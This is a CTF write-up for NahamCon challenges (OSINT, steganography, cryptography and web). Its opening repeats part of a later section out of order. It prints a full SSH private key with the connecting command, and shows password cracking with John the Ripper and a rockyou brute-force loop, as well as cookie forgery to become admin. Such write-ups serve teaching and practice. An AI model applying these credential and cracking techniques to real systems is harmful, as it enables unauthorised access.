the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:

**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:

**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:

**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:

these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:

After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):

**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:

**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:

but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:

during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:

**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:

this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:

bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:

***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :

furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:

but if we look at a regular PNG file or Zip file we get the following bytes frequency:

we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:

**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
